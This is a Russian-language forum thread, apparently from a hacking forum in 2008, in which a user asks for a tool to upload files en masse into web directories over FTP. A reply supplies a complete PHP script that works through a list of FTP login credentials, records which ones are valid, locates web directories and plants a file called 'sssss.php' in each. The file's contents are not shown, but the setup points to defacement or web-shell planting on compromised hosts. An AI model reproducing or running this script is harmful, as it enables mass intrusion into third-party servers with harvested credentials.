Срочно нужна тулза, для работы с фтп.
Не нужно ничего навороченного, грузить файл в веб диру (индекс к примеру, если его просто нет или перезаписывать его)
http://forum.antichat.ru/showthread.php?p=304586
это работает как-то нестабильно, то грузит файл, то отказывается.
Посоветуйте, заранее спасибо
Полуночный Хэкер
16.05.2008, 23:53
FileZilla +))) фтп клиентов то полно
Причем здесь файлзилла? мне массово нужно это делать
вот мой мегапревадный скрипт писан недавно как раз для этих целей, читает список фтп, коннектится, выбирает диры похожие на веб-диры и записывает в каждую из них файл.
<?
set_time_limit(0);
Error_Reporting(E_ALL & ~E_NOTICE);
$all_ftp = file("ftp.txt");
$remotefilename = "sssss.php";
$localfilename = "sssss.php";
function iswebdir($dir){
$strs = array("www", "html", "http", "docs");
foreach ($strs as $ptrn){
if (strstr($dir, $ptrn))
return 1;
}
return 0;
}
function writelog($txt){
$flog = fopen("log.txt", "a");
fwrite($flog, $txt."\r\n");
fclose($flog);
}
for ($i=0; $i<sizeof($all_ftp); $i++){
$ftp = trim($all_ftp[$i]);
$fcurr = fopen("current.txt", "w");
fwrite($fcurr, $i."\r\n".$ftp);
fclose($fcurr);
$login="";
$pass="";
$account=eregi_replace("\n|\r|ftp://","",trim($ftp));
$host=str_replace("/","",substr($account,strrpos($account,"@")+1));
$loginpass=substr($account,0,strrpos($account,"@"));
@list($login,$pass)=@explode(":",$loginpass,2);
$conn = ftp_connect($host, 21, 10);
if (!$conn) {
//writelog("Not connect $ftp");
continue;
} //else writelog("Connect to $ftp");
$login_result = ftp_login($conn, $login, $pass);
if (!$login_result) {
//writelog("Wrong login $ftp");
ftp_quit($conn);
continue;
} //else writelog("Login to $ftp");
$fvalid = fopen("valid.txt", "a");
fwrite($fvalid, $ftp."\r\n");
fclose($fvalid);
ftp_pasv($conn, true);
$rootdir = ftp_pwd($conn);
//writelog("pwd=$rootdir");
$webdirs = array($rootdir);
$filelist = ftp_rawlist($conn, $rootdir);
foreach ($filelist as $raw){
$filename = trim(substr($raw, strrpos($raw, " ")));
$len = strlen($filename);
if (substr($filename, $len-1) == "/")
$filename = substr($filename, 0, $len - 1);
if ($slash = strrpos($filename, "/"))
$filename = substr($filename, $slash + 1);
if (substr($raw, 0, 1) == "d"){ //directory
if (iswebdir($filename)){
//writelog("webdit ".$rootdir."/".$filename);
$webdirs[] = $rootdir."/".$filename;
}
}
}
foreach ($webdirs as $dir){
$f1 = $dir."/".$remotefilename;
$f2 = $localfilename;
if (ftp_put($conn, $f1, $f2, FTP_BINARY))
//writelog("uploaded $f2 to $f1");
writelog("http://".$host."/sssss.php");
//else
//writelog("cannot upload $f2 to $f1");
}
ftp_quit($conn);
}
?>
Спасибо, это именно то, что нужно!
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot